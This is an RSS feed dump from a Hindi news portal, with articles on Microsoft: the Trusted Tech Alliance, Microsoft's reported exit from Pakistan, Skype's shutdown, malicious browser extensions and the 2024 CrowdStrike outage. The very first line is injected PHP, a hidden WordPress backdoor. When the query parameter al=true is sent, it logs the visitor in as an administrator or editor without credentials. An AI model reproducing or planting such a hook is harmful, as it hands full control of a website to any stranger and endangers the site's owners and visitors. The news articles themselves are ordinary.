// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Microsoft – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 14 Feb 2026 11:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 Jio की बड़ी रणनीतिक जीत: Google और Microsoft के साथ बना Trusted Tech Alliance, भारत को मिलेंगे ये बड़े फायदे https://pratyushaashakinayikiran.com/?p=197864 Sat, 14 Feb 2026 11:40:00 +0000 https://pratyushaashakinayikiran.com/?p=197864 नई दिल्ली

अफ्रीका, एशिया, यूरोप और नॉर्थ अमेरिका की 15 बड़ी कंपनियों ने ‘ट्रस्टेड टेक एलायंस’ (TTA) के गठन की घोषणा की है। यह एक जैसी सोच वाली इंटरनेशनल टेक कंपनियों का एक समूह है, जो कनेक्टिविटी, क्लाउड इंफ्रास्ट्रक्चर, सेमीकंडक्टर, सॉफ्टवेयर और आर्टिफिशियल इंटेलिजेंस के लिए ऐसी तकनीक बनाने के लिए साथ आए हैं जिस पर दुनिया यकीन कर सके और जिसे परखा जा सके। इस एलायंस में भारत की ओर से Jio Platforms शामिल है। जर्मनी में आयोजित म्यूनिख सिक्योरिटी कॉन्फ्रेंस के दौरान इस एलायंस का ऐलान किया गया।

ये दिग्गज कंपनियां हैं इस एलायंस का हिस्सा
एलायंस के संस्थापक सदस्यों में अमेजन, वेब सर्विसेज, माइक्रोसॉफ्ट, गूगल क्लाउड, एरिक्सन, नोकिया, एसएपी और एनटीटी जैसी कुल 15 ग्लोबल टेक कंपनियां शामिल हैं। एलायंस का कहना है कि आगे और कंपनियों को इससे जोड़ा जाएगा। इसके साथ ही, देश और दुनिया के लेवल पर अपनी तकनीक को और बेहतर बनाने, दूसरी कंपनियों के साथ मुकाबले में बने रहने और एक मजबूत डिजिटल सिस्टम तैयार करने पर काम जारी रहेगा।

जियो का बड़ा संकल्प
लॉन्च के मौके पर जियो प्लेटफॉर्म्स के सीईओ किरण थॉमस ने कहा कि विश्व स्तर पर डिजिटल विकास को गति देने के लिए भरोसेमंद, सुरक्षित और पारदर्शी टेक्नोलॉजी जरूरी है। जियो प्लेटफॉर्म्स को गर्व है कि वह 'ट्रस्टेड टेक एलायंस' का हिस्सा बना है, ताकि टेक्नोलॉजी की दुनिया में मिलकर ऐसे नियम और तरीके बनाए जा सकें जो सुरक्षित हों और जिन पर सब भरोसा कर सकें।

उन्होंने आगे बताया कि हम इस कोशिश के जरिए दुनिया भर के पार्टनर्स के साथ मिलकर आने वाले समय की इंटरनेट कनेक्टिविटी, क्लाउड और AI सिस्टम को इतना बेहतर बनाना चाहते हैं कि लोग लंबे समय तक उन पर भरोसा कर सकें।

माइक्रोसॉफ्ट के वाइस चेयर और प्रेसिडेंट ब्रैड स्मिथ ने इस मौक पर कहा कि मौजूदा वैश्विक माहौल में समान सोच वाली कंपनियों का साथ आना जरूरी है, ताकि सीमाओं के पार तकनीक में भरोसा और उच्च मानक कायम किए जा सकें।

वहीं एरिक्सन के सीईओ बोर्ये एकहोम ने कहा कि कोई एक कंपनी या देश अकेले सुरक्षित और भरोसेमंद डिजिटल ढांचा नहीं बना सकता, इसके लिए वैश्विक सहयोग जरूरी है।

ग्लोबल मंच पर बढ़ेगी भारत की धाक
इस एलायंस के तहत सदस्य कंपनियों ने पांच प्रमुख सिद्धांतों पर सहमति जताई है। इसमें कंपनियों को चलाने के ईमानदार तरीके, सुरक्षा की समय-समय पर जांच, सामान और सेवाओं की सप्लाई का मजबूत नेटवर्क, एक ऐसा सिस्टम जहां सब मिलकर काम कर सकें और कानून के हिसाब से लोगों के डेटा को सुरक्षित रखना शामिल है। इन नियमों के जरिए कंपनियां यह सुनिश्चित करेंगी कि टेक्नोलॉजी सुरक्षित, विश्वसनीय और जिम्मेदारी के साथ संचालित हो, चाहे उसका विकास या इस्तेमाल कहीं भी हो।

एक्सपर्ट्स का मानना है कि जियो की भागीदारी से भारत को वैश्विक डिजिटल मानकों के निर्माण में सक्रिय भूमिका निभाने का मौका मिलेगा। इससे देश में क्लाउड, 5G और AI आधारित सर्विसेज को ग्लोबल स्तर की विश्वसनीयता मिल सकती है और डेटा सुरक्षा को लेकर ग्राहकों का भरोसा और मजबूत होगा।

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Microsoft ने पाकिस्‍तान से समेटा अपना पूरा कामकाज, सामने आई ये बड़ी वजह! https://pratyushaashakinayikiran.com/?p=168702 Sat, 05 Jul 2025 06:06:00 +0000 https://pratyushaashakinayikiran.com/?p=168702 लाहौर 

भारत के पड़ोसी मुल्‍क पाकिस्‍तान से बड़ी जानकारी सामने आ रही है। रिपोर्ट्स के अनुसार, टेक्‍नोलॉजी की दुनिया का बड़ा नाम माइक्रोसॉफ्ट कथित तौर पर पाकिस्‍तान से बाहर निकल रही है यानी उसने कामकाज समेट दिया है। कहा जाता है कि इसके संकेत पहले ही दे दिए गए थे। कर्मचारियों को भी बताया गया था। टेक रडार की रिपोर्ट के अनुसार, पाकिस्‍तान में माइक्रोसॉफ्ट का ऑपरेशन बंद हो गया है सिर्फ एक ऑफ‍िस बचा है, जहां 5 लोग काम पर हैं। यह पाकिस्‍तान की टेक इंडस्‍ट्री के लिए किसी सदमे से कम नहीं होगा। 25 साल पहले पाक में माइक्रोसॉफ्ट ने अपना काम शुरू किया था। उस वक्‍त जव्वाद रहमान नाम के व्‍यक्ति ने इसमें अहम भूमिका न‍िभाई। उन्‍हें माइक्रोसॉफ्ट पाकिस्‍तान के संस्‍थापकों में गिना जाता है। रहमान के लिंक्‍डइन पोस्‍ट से कुछ बातें सामने आई हैं जो कई सवाल खड़े करती हैं।

जव्वाद रहमान का लिंक्‍डइन पोस्‍ट
जव्‍वाद रहमान ने अपने लिंक्‍डइन पोस्‍ट में माइक्रोसॉफ्ट का पाकिस्‍तान में कामकाज बंद होने की जानकारी दी है। उन्‍होंने लिखा कि एक युग खत्‍म हो गया। 25 साल पहले जून महीने में ही मुझे पाकिस्‍तान में माइक्रोसॉफ्ट को लॉन्‍च करने की जिम्‍मेदारी मिली थी। उन्‍होंने बताया कि कंपनी के कुछ बचे हुए कर्मचारियों को जानकारी दी गई और पाकिस्‍तान से माइक्रोसॉफ्ट से जाने की जानकारी आई। उन्‍होंने लिखा कि कंपनी का यह फैसला सोचने पर मजबूर करता है।

माइक्रोसॉफ्ट ने क्‍या बताया
रहमान के अनुसार, यह उस माहौल का दर्शाता है जो हमारे देश ने बनाया है। एक ऐसा माहौल जिसमें माइक्रोसॉफ्ट जैसी कंपनी को भी अस्थितरता नजर आती है। उन्‍होंने कहा कि अब पूछा जाना चाहिए कि पाकिस्‍तान को लेकर क्‍या बदल रहा है। ऐसा क्‍या है जिसने दिग्‍गज कंपनी को देश छोड़ने पर मजबूर किया है। हालांकि माइक्रोसॉफ्ट की तरफ की ओर इस बारे में ऑफ‍िशियली कोई जानकारी नहीं दी गई है।

कितने देशों में माइक्रोसॉफ्ट का कामकाज
माइक्रोसॉफ्ट दुनिया की सबसे बड़ी टेक कंपनियों में से एक है, जिसका कामकाज 190 से अधिक देशों में फैला हुआ है। कंपनी क्लाउड कंप्यूटिंग, आर्टिफिशियल इंटेलिजेंस, साइबर सुरक्षा, सॉफ्टवेयर और हार्डवेयर जैसे कई क्षेत्रों में लीडर की भूमिका निभा रही है। विंडोज, ऑफिस, ऐज जैसे प्रोडक्ट्स पूरी दुनिया में इस्तेमाल किए जाते हैं। पाकिस्तान से इसकी कथित विदाई एक चौंकाने वाला कदम माना जा रहा है। यह सिर्फ एक कारोबारी फैसला नहीं बल्कि स्थानीय परिस्थितियों की गहराई से जुड़ा मुद्दा माना जा रहा है। रहमान के अनुसार "अल्लाह जिसे चाहे उसे इज्जत और मौके देता है… और जिससे चाहे, वो इन्हें वापस भी ले सकता है, खासकर जब कोई इनकी कदर करना भूल जाए। लेकिन अगर आपका काम असर छोड़ जाए, ईमानदारी और प्रेरणा का स्रोत बन जाए… तो समझ लीजिए कि अल्लाह की रहमत आपके साथ थी।" एक और पोस्ट में रहमान ने पाकिस्तान के आईटी मंत्री और सरकार से अपील की कि वे माइक्रोसॉफ्ट के रीजनल और ग्लोबल लीडर्स से संपर्क करें, ताकि कंपनी पाकिस्तान में अपनी मौजूदगी बनाए रख सके।

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22 साल बाद बंद हो जाएगी Microsoft की ये सर्विस? कभी थी Video Call की पहचान https://pratyushaashakinayikiran.com/?p=134748 Sat, 01 Mar 2025 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=134748 मुंबई

माइक्रोसॉफ्ट ने एक बड़ा कदम उठाया है। कंपनी ने अपने वीडियो कॉलिंग प्लेटफॉर्म Skype को बंद करने का फैसला लिया है। आने वाले कुछ दिनों में यह पॉपुलर वीडियो कॉलिंग ऐप लोगों के डिवाइस से गायब हो जाएगा। इसलिए अगर आप वीडियो कॉलिंग के लिए अगर Skype का इस्तेमाल कर रहे हैं तो अब आपको जल्द ही किसी दूसरे प्लेटफॉर्म स्विच करना होगा।

माइक्रोसॉफ्ट ने स्काइप को बंद करने के साथ ही यूजर्स को वीडियो कॉलिंग और दूसरे काम के लिए एक विकल्प भी बताया है। माइक्रोसॉफ्ट की तरफ से घोषणा की गई है कि वह आने वाली 5 मई से Skype को बंद करने जा रहा है। कंपनी ने बताया कि अब वह Microsoft Teams पर फोकस कर रही है और इसे पहले से ज्यादा पॉवरफुल बनाया जा रहा है। इसलिए कंपनी ने स्काइप यूजर्स को Microsoft Teams के रूप में एक विकल्प भी दिया है।

Skype यूजर्स को मिला विकल्प

बता दें कि अगर आप स्काइप से Microsoft Teams में स्विच करते हैं तो आपके अपने डेटा को शिफ्ट करने का भी ऑप्शन होगा। कंपनी की तरफ से जब से Microsoft Teams को लॉन्च किया गया है वह स्काइप यूजर्स को इसमें शिफ्ट होने की रिक्वेस्ट कर रही है। कंपनी के मुताबिक Microsoft Teams में वे सभी फीचर्स मौजूद हैं जो स्काइप में मिलते हैं। लेकिन, टीम्स पर कई ऐसे फीचर्स भी हैं जो स्काइप में नहीं मिलते।

2003 में लॉन्च हुआ था Skype

आपको याद दिला दें कि Skype को 2003 में लॉन्च किया गया था। साल 2011 में इसे माइक्रोसॉफ्ट की तरफ से खरीद लिया गया था। कई वर्षों तक यह वीडियो कॉलिंग के लिए एक प्रमुख ऐप रहा है। हालांकि माइक्रोसॉफ्ट ने धीरे-धीरे इससे कई सारे फीचर्स को हटा दिया है। कंपनी  की तरफ से साल 2015 में स्काइप को  Windows 10 में इंटीग्रेट करने की भी कोशिश की थी लेकिन नौ महीने बाद ही यह बंद हो गया था।

माइक्रोसॉफ्ट ने साल 2017 में वीडियो कॉलिंग और ऑफिशियल वर्क के लिए Teams को लॉन्च किया था। कंपनी इसे लगातार अपडेट कर रही है और नए-नए फीचर्स जोड़ रही है। अब कंपनी ने 22 साल बाद Skype को पूरी तरह से बंद करने का फैसला ले लिया है।

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लाखों Google और माइक्रोसॉफ्ट के यूजर पर बड़ा खतरा, बैंक अकाउंट खाली होने का डर, तुरंत हो जाएं अलर्ट https://pratyushaashakinayikiran.com/?p=60901 Fri, 16 Aug 2024 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=60901 मुंबई
इंटरनेट यूजर के ऊपर एक बार फिर से बड़ा खतरा मंडरा रहा है। यह खतरा गूगल क्रोम और माइक्रोसॉफ्ट एज के ब्राउजर एक्सटेंशन्स को यूज करने वाले यूजर्स के लिए है। इससे हैकर बड़ी आसानी से आपके कंप्यूटर में सेव सेंसिटिव डेटा, बैंकिंग डीटेल और पासवर्ड्स को चुरा सकते हैं। साइबर सिक्योरिटी कंपनी ReasonLabs की रिपोर्ट के अनुसार मैलवेयर वाले ये ब्राउजर एक्सटेंशन साल 2021 से यूजर्स को अपना शिकार बना रहे हैं। रिपोर्ट में कहा गया है कि दुनियाभर में अब तक कम से कम 3 लाख गूगल क्रोम और माइक्रोसॉफ्ट एज यूजर इससे प्रभावित हो चुके हैं।

क्यों है खतरनाक?
इन मैलवेयर एक्सटेंशन को खतरनाक बताया गया है। रिपोर्ट के अनुसार ये एक्सटेंशन एक छोटे सॉफ्टवेयर प्रोग्राम होते हैं, जो यूजर्स के ब्राउजिंग एक्सपीरियंस को बेहतर बनाने का काम करते हैं। हैकर्स के मैलवेयर वाले एक्सटेंशन दिखने में असली टूल्स की तरह होते हैं और यूजर इस पर बिना शक किए इसे इंस्टॉल कर लेते हैं। एक बार इंस्टॉल हो जाने के बाद ये एक्सटेंशन सिस्टम में मौजूद सेंसिटिव डेटा के साथ पासवर्ड, ब्राउजिंग हिस्ट्री और बैंक डीटेल से जुड़ी जानकारियों का ऐक्सेस हैकर्स को दे देते हैं।

चिंता की बात यह कि एक्सटेंशन को डिलीट करने के बाद भी मैलवेयर कंप्यूटर में छिपा रहता है और सिस्टम ऑन होते ही यह ऐक्टिवेट हो जाता है। हैकर यूजर्स को इस मैलवेयर वाले एक्सटेंशन के जाल में फंसाने के लिए Malvertising (मैलवेयर+ऐडवर्टाइजिंग) ट्रिक का इस्तेमाल करते हैं।

सिस्टम को ऐसे करें चेक
आपके कंप्यूटर में यह मैलवेयर है या नहीं, इसे आप चेक कर सकते हैं। अगर आपका सिस्टम इस मैलवेयर से इंफेक्टेड है, तो आप की स्क्रीम गूगल क्रोम और एज से रीडायरेक्ट हो कर हैकर के सर्च पोर्टल पर ओपन होगी। इसके अलावा आप सिस्टम फोल्डर में भी फाइल्स को चेक करके इस मैलवेयर का पता लगा सकते हैं।

रीजनलैब्स की मानें, तो इस मैलवेयर के एक्सटेंशन को हटाने के लिए यूजर्स को पहले Scheduled Tasks को रिमूव करना होगा। इसके बाद डिलीट Registry Keys करके आप इस मैलवेयर से छुटकारा पास सकते हैं। इसके स्टेप-बाइ-स्टेप गाइड के लिए आपको https://reasonlabs.com/research/new-widespread-extension-trojan-malware-campaign पर विजिट करना होगा।

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माइक्रोसॉफ्ट में गड़बड़ी के बाद सामान्य होने लगा हवाई यातायात, सुबह की दिल्ली-भोपाल उड़ान निरस्त https://pratyushaashakinayikiran.com/?p=53085 Sat, 20 Jul 2024 16:45:00 +0000 https://pratyushaashakinayikiran.com/?p=53085 भोपाल
 माइक्रोसॉफ्ट ग्लोबल आउटेज के कारण भोपाल के राजा भोज एयरपोर्ट से हवाई शुक्रवार को हवाई प्रभावित हुआ था। तीन उड़ानें निरस्त करनी पड़ी थी। यात्रियों के ई-बोर्डिंग पास भी नहीं निकल रहे थे। शनिवार सुबह से हवाई यातायात में सुधार होना शुरू हो गया है। आज सुबह इंडिगो की मॉर्निंग दिल्ली फ्लाइट निरस्त कर दी गई, लेकिन बाकी उड़ानें समय पर पहुंची। अब वेब बोर्डिंग पास भी निकलने लगे हैं।
राजा भोज एयरपोर्ट पर शनिवार को सुबह से यात्री आने शुरू हो गए थे। इंडिगो ने दिल्ली उड़ान निरस्त होने की सूचना पहले ही यात्रियों को दे दी थी। इंडिगो काउंटर पर अब ई-बोर्डिंग पास भी निकल रहे हैं। ट्रैवल एजेंट जीतू आसवानी के अनुसार ऑनलाइन बोर्डिंग पास भी अब निकलने शुरू हो गए हैं। हालांकि इंडिगो की वेबसाइट पर अभी कुछ चेतावनी आ रही है।

यात्रियों को सजग किया जा रहा
इंडिगो की वेबसाइट पर बुकिंग करने से पहले एक संदेश आ रहा है, ताकि यात्री सजग रहे। इंडिगो के प्रबंधन के अनुसार जिस वैश्विक रुकावट के कारण परिचालन संबंधी कठिनाइयां पैदा हुईं, वह लगभग हल हो गई है। सामान्य परिचालन बहाल करने में महत्वपूर्ण प्रगति की है। हालांकि, ग्राहकों को अभी भी कुछेक देरी और शेड्यूल में व्यवधान का अनुभव हो सकता है। इंडिगो ने यात्रियों से कहा है कि हवाईअड्डे पर जाने से पहले अपनी उड़ान की स्थिति यहां जांच लें।

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एयर इंडिया के प्रवक्ता ने कहा, हम बताना चाहते हैं कि 19 और 20 जुलाई को कोई भी फ्लाइट कैंसल नहीं की गई https://pratyushaashakinayikiran.com/?p=53058 Sat, 20 Jul 2024 14:20:00 +0000 https://pratyushaashakinayikiran.com/?p=53058 नई दिल्ली
आईटी की समस्या की वजह से शुक्रवार को पूरी दुनिया ही प्रभावित रही। बताया गया कि माइक्रोसॉफ्ट से संबंधित थर्ड पार्टी सॉफ्टवेयर अपडेट की वजह से शुक्रवार को दुनियाभर के कंप्यूटर बंद हो रहे थे। लोगों को अचानक ब्लू स्क्रीन दिखाई देने लगती थी और कई बार डेटा भी डिलीट हो जाता था। इस समस्या के चलते शुक्रवार को हवाई यातायात, बैंकिंग सेक्टर और अन्य क्षेत्रों को दिक्कत का सामना करना पड़ा। नागरिक उड्डयन मंत्री के राममोहन नायडू ने कहा है कि अब देश के सभी एयरपोर्ट पर सिस्टम ठीक तरीके से काम करने लगे हैं।

उन्होंने बताया कि शनिवार को सुबह 3 बजे से सभी सिस्टम ठीक से काम कर रहे हैं। के राममोहन नायडू ने कहा, अब विमानों का संचालन सुचारू रूप से हो रहा है। उड्डयन मंत्रालय लगातार एयरपोर्ट के संचालन पर निगाह बनाए है। केंद्रीय मंत्री ने कहा कि इस बात पर भी पूरा ध्यान दिया जा रहा है कि यात्रियों का अडजस्टमेंट और रीफंड सही समय पर किया जाए। इसी बीच एयरइंडिया ने कहा है कि शनिवार को उसकी कोई भी फ्लाइट कैंसल नहीं की गई है। एयर इंडिया के प्रवक्ता ने कहा, हम बताना चाहते हैं कि 19 और 20 जुलाई को कोई भी फ्लाइट कैंसल नहीं की गई है। हालांकि आईटी सिस्टम में समस्या की वजह से कुछ फ्लाइट लेट हो गईं। एयर इंडिया का आईटी इन्फ्रास्ट्रक्चर प्रभावित नहीं हुआ है। यह सामान्य तरीके से काम कर रहा है।

देशभर के कई एयरपोर्ट्स की तरफ से कहा गया है कि शनिवार को दूसरे दिन भी तकनीकी समस्या का सामना करना पड़ रहा है। वहीं मुंबई, नई दिल्ली, चेन्नई एयरपोर्ट पर यात्रियों को समस्या हो रही है। शुक्रवार को माइक्रोसॉफ्ट ने कहा था कि सेवाएं अब सुचारु रूप से शुरू कर दी हैं। हालांकि शनिवार को भी एयरपोर्ट्स पर अफरा-तफरी का माहौल रहा और लंबी-लंबी कतारें देखी गईं।

डिजियात्रा की वेबसाइट ऑफलाइन हो गई। बता दें कि 19 जुलाई यानी शुक्रवार को सुबह से ही विंडोज वाले लैपटॉप अचानक बंद हो रहे ते। बताया गया कि माइक्रोसॉफ्ट को एंटीवायरस सॉफ्टवेयर सप्लाई करने वाली क्राउडस्ट्राइक कंपनी के अपडेट की वजह से इस दिक्कत का सामना करना पड़ रहा था।

 

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सर्वर ठप होने पर अश्विनी वैष्णव का सोशल मीडिया पर पोस्ट, कहा- हम माइक्रोसॉफ्ट के संपर्क में हैं https://pratyushaashakinayikiran.com/?p=53015 Sat, 20 Jul 2024 11:07:00 +0000 https://pratyushaashakinayikiran.com/?p=53015  नई दिल्ली
 माइक्रोसॉफ्ट के सर्वर में आई खराबी की वजह से बैंक, विमान यात्रा, सरकारी दफ्तर सहित पूरी संस्थागत प्रणाली एकाएक ठप हो गई। इससे आम लोगों के साथ-साथ खास लोगों को भी बेशुमार दुश्वारियों का सामना करना पड़ा। एक तरफ जहां हवाई यात्रा थम गई तो वहीं रेलवे की रफ्तार भी रूक गई। उधर, बैंकों की गति पर भी विराम लग गया।

इसी पर अब अश्विनी वैष्णव ने सोशल मीडिया एक्स हैंडल पर अपनी प्रतिक्रिया दी है। उन्होंने कहा कि इलेक्ट्रॉनिक्स और सूचना प्रौद्योगिकी मंत्रालय लगातार माइक्रोसाफ्ट के संपर्क में है, जो बदले में प्रभावित संस्थाओं के साथ सक्रिय रूप से काम कर रहा है। इसके अलावा, सीईआरटी महत्वपूर्ण बुनियादी ढांचा संस्थाओं के सीआईएसओ के साथ समन्वय स्थापित कर रहा है। सभी प्रभावित संस्थाएं अपने सिस्टम को बेहतर बनाने के लिए काम कर रही हैं। कई मामलों में, सिस्टम आंशिक रूप से चालू है।

वहीं, केंद्र सरकार ने इस पर गंभीरता व्यक्त करते हुए इसके पीछे की वजह तलाशने के लिए कई कड़े कदम उठाने के संकेत दे दिए हैं। इसी संबंध में केंद्र सरकार ने आपात बैठक बुलाई। इसमें इस पर विस्तारपूर्वक चर्चा हुई।

बता दें कि सर्वर में आई खराबी की वजह से कई देशों में न्यूज चैनल ऑफ एयर हो गए। इससे लोगों को खासी परेशानियों का सामना करना पड़ा। कई दफ्तरों में कामकाज थम गया। हवाई सेवा ठप हो जाने पर कई एयरलाइंस कंपनियों ने बयान जारी कर अपने ग्राहकों से माफी मांगकर खेद प्रकट किया। कई कंपनियों ने अपने बयान में कहा कि हम इसे ठीक करने की कोशिश में लगे हैं, जैसे ही यह ठीक हो जाएगा, तो सेवाएं बहाल कर दी जाएंगी।

 माइक्रोसॉफ्ट से संबंधित तीसरे पक्ष के सॉफ्टवेयर मंच के ‘अपडेट’ की वजह से विंडोज संचालित उपकरणों के प्रभावित होने से शुक्रवार को भारत सहित दुनियाभर में प्रौद्योगिकी संबंधी व्यवधान का सामना करना पड़ा। इससे दुनियाभर में हवाई अड्डों पर विमान संचालन गड़बड़ा गया। भारत समेत अमेरिका, ऑस्ट्रेलिया, जर्मनी और इंगलैंड में विमान कंपनियों, बैंकों और कॉर्पोरेट कंपनियों का कामकाज प्रभावित हुआ। हवाई अड्डों पर चेक इन सिस्टम बंद हो गए, जिससे यात्रियों की कतारें लगी रहीं। कई देशों में टेलीविजन प्रसारण ठप हो गया। भारत में भी कई शहरों में फ्लाइट्स रद्द कर दी गईं, कुछ देरी से उड़ीं। कुछ बैंकों, ब्रोकरेज हाउसेज की सेवाएं भी आंशिक रूप से बाधित हुईं। इस बीच, माइक्रोसॉफ्ट 365 ने ‘एक्स’ पर पोस्ट किया कि कंपनी प्रभावित ट्रैफिक को वैकल्पिक प्रणालियों पर रिडायरेक्ट करने पर काम कर रही है।

सिस्टम में खराबी से सबसे ज्यादा परेशानी एयरलाइंस कंपनियों को हुई। अमेरिका में यूनाइटेड, अमेरिकन, डेल्टा और एलीगेंट समेत सभी एयरलाइन का संचालन बंद कर दिया गया। ब्रिटेन में एयरलाइंस, रेलवे और टेलीविजन स्टेशनों पर काम बाधित रहा। बजट एयरलाइन सेवा रेयानएयर, ट्रेन सेवा ट्रांसपेनिन एक्सप्रेस व गोविया थेम्सलिंक रेलवे और ‘स्काई न्यूज’ में भी कामकाज प्रभावित हुआ है। कई मीडिया संस्थानों में विंडोज-आधारित कंप्यूटर अचानक बंद हो गए। भुगतान प्रणाली में खराबी के कारण भुगतान भी अटका।
10 बैंकों, एनबीएफसी पर मामूली असर : आरबीआई

आरबीआई ने कहा कि माइक्रोसॉफ्ट संकट से देश के 10 बैंकों और गैर-बैंकिंग वित्तीय कंपनियों के कामकाज में मामूली व्यवधान पैदा हुआ। रिजर्व बैंक ने कहा कि चुनींदा बैंक ही क्राउडस्ट्राइक का उपयोग करते हैं।
मारुति में भी रुका काम

देश की अग्रणी वाहन विनिर्माता मारुति सुजुकी इंडिया की उत्पादन एवं वाहनों की आपूर्ति कुछ समय के लिए बाधित हुई। हालांकि, कंपनी ने बाद में परिचालन फिर से शुरू कर दिया।

कई ब्रोकरेज कंपनियां प्रभावित : भारत में 5पैसा, आईआईएफएल सिक्योरिटीज और एंजेल वन सहित कई ब्रोकरेज कंपनियों के काम-काज पर प्रभाव पड़ा। इस संकट से प्रभावित अन्य ब्रोकर में मोतीलाल ओसवाल और एडलवाइस म्यूचुअल फंड शामिल हैं।
साइबर अटैक नहीं : क्राउडस्ट्राइक

साइबर सुरक्षा कंपनी ‘क्राउडस्ट्राइक’ ने कहा कि यह साइबर हमला नहीं है। ‘क्राउडस्ट्राइक’ के सीईओ जॉर्ज कर्ट्ज ने कहा कि समस्या की पहचान कर ली गई है। इसने विंडोज आधारित कंप्यूटर प्रभावित किये हैं।

सत्य नडेला का पोस्ट
माइक्रोसॉफ्ट के सीईओ सत्य नडेला ने पोस्ट करते हुए कहा, ' कल क्राउडस्ट्राइक ने एक अपडेट जारी किया जिसने वैश्विक स्तर पर आईटी सिस्टम को प्रभावित करना शुरू कर दिया. हम इस मुद्दे से वाकिफ हैं और ग्राहकों को उनके सिस्टम को सुरक्षित रूप से ऑनलाइन वापस लाने के लिए तकनीकी मार्गदर्शन और सहायता प्रदान करने के लिए क्राउडस्ट्राइक और पूरी इंडस्ट्री के साथ मिलकर काम कर रहे हैं.'
देशभर में 39 उड़ानें रद्द, हाथ से लिखे ‘बोर्डिंग पास’ दिए

भारत में 39 उड़ानें रद्द कर दी गईं। कई उड़ानों के संचालन में देरी हुई, क्योंकि यात्रियों को हाथ से लिखकर ‘बोर्डिंग पास’ और सामान पर लगाने वाले टैग जारी किए गए। गोवा के दो हवाई अड्डे से इंडिगो एयरलाइन की पांच उड़ानें रद्द कर दी गईं। छत्तीसगढ़ में इंडिगो एयरलाइंस की नौ उड़ानें रद्द कर दी गई। इस बीच, केंद्रीय नागरिक उड्डयन मंत्री के राम मोहन नायडू ने कहा कि भारत में सुचारू ढंग से उड़ान संचालन सुनिश्चित करने के लिए कदम उठाए जा रहे हैं।

 

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दुनियाभर में एयरलाइंस के सर्वर में खराबी, भारत समेत कई देशों में विमान सेवाएं प्रभावित https://pratyushaashakinayikiran.com/?p=52738 Fri, 19 Jul 2024 14:06:00 +0000 https://pratyushaashakinayikiran.com/?p=52738 नई दिल्ली

दुनियाभर में तमाम लोगों के Windows सिस्टम पर ब्लू स्क्रीन की दिक्कत आ रही है. Microsoft के सर्वर ठप होने की वजह से दुनियाभर में बैंक से लेकर एयरलाइन्स तक की सर्विसेस बाधित हुई हैं. कंपनी के फोर्म पर पिन मैसेज के मुताबिक, बहुत से विंडोज यूजर को ब्लू स्क्रीन ऑफ डेथ (BSOD) एरर नजर आ रहा है.माइक्रोसॉफ्ट के सर्वर ठप होने के बाद UK का स्काई न्यूज हुआ ऑफ एयर. Microsoft के सर्वर ठप, दुनियाभर में बैंक से लेकर एयरलाइन्स की उड़ान तक बाधित

ये दिक्कत हालिया क्राउड स्क्राइक अपडेट के बाद हो रही है. इस दिक्कत से बड़ी संख्या में लोग प्रभावित हुए हैं. माइक्रोसॉफ्ट ने इसकी जानकारी दी है. शुक्रवार की सुबह उनकी क्लाउड सर्विसेस बाधित होने की वजह से दुनियाभर के कई इलाकों में दिक्कत हुई है.

इसकी वजह से एयरलाइन्स की उड़ाने प्रभावित हुई हैं. भारत, अमेरिका समेत कई देशों में विमानों की उड़ान पर इस आउटेज का असर पड़ा है.

क्यों हो रही है ये दिक्कत?

माइक्रोसॉफ्ट के सर्विस हेल्थ स्टेटस अपडेट के मुताबिक, इस दिक्कत की शुरुआती वजह Azure बैकेंड वर्कलोड के कॉन्फिग्रेशन में किया गया एक बदलाव है, जिसकी वजह से स्टोरेज और कंप्यूटर रिसोर्सेस के बीच बाधा आ रही है और इसकी वजह से कनेक्टिविटी फेलियर की समस्या हुई है.

कंपनी का कहना है कि इस दिक्कत की वजह से Microsoft 365 सर्विसेस पर असर पड़ा है. माइक्रोसॉफ्ट के साथ काम करने वाली CrowdStrike ने इस दिक्कत को माना है. CrowdStrike एक साइबर सिक्योरिटी फर्म है. फर्म के इंजीनियर्स ने उन कंटेंट को खोज लिया है, जिसकी वजह से दिक्कत हुई है और किए गए बदलाव को पहले की तरह कर दिया है.

क्या आपके साथ भी हो रही है दिक्कत?

अगर आप भी इस दिक्कत से प्रभावित हैं, तो कंपनी ने इसके रिकवर करने के स्टेप्स को पोस्ट किया है.

    यूजर्स को सबसे पहले Windows को सेफ मोड या फिर विंडोज रिकवरी एनवॉर्मेंट में बूट करना होगा.

    इसके बाद उन्हें C:WindowsSystem32driversCrowdStrike डायरेक्टरी पर जाना होगा.

    इसके बाद उन्हें C-00000291*.sys फाइल खोजनी होगी और उसे डिलीट करना होगा.
    आखिर में आपको अपना सिस्टम सामान्य तरीके से रिस्टार्ट करना होगा.

क्राउड स्क्राइक ने इस दिक्कत को माना है और वे इसकी वजहों की जांच कर रहे हैं. CrowdStrike ने इस बारे में लिखा है कि हमें इस एरर के बारे में जानकारी है, जो विंडोज सिस्टम में देखने को मिल रहा है.

बहुत से यूजर्स इसे लेकर शिकायत कर रहे हैं. इस दिक्कत की वजह से लाखों यूजर्स पर प्रभाव बड़ा है. कई यूजर्स शिकायत कर रहे हैं कि उनका सिस्टम या तो शटडाउन हो गया है या फिर उन्हें ब्लू स्क्रीन की दिक्कत हो रही है. इसका असर प्रमुख बैंक, इंटरनेशनल एयरलाइन्स, Gmail, Amazon और दूसरी इमरजेंसी सर्विस पर पड़ रहा है.

माइक्रोसॉफ्ट यूजर्स को क्या-क्या प्रॉब्लम आ रहीं?

>> माइक्रोसॉफ्ट विंडोज में आई इस प्रॉब्लम का असर कंपनी से जुड़ी कई सर्विसेज पर हुआ है। यूजर्स को माइक्रोसॉफ्ट 360, माइक्रोसॉफ्ट विंडोज, माइक्रोसॉफ्ट टीम, माइक्रोसॉफ्ट Azure, माइक्रोसॉफ्ट स्टोर और माइक्रोसॉफ्ट क्लाउड-पावर्ड सर्विस में प्रॉब्लम फेस करना पड़ रही है।

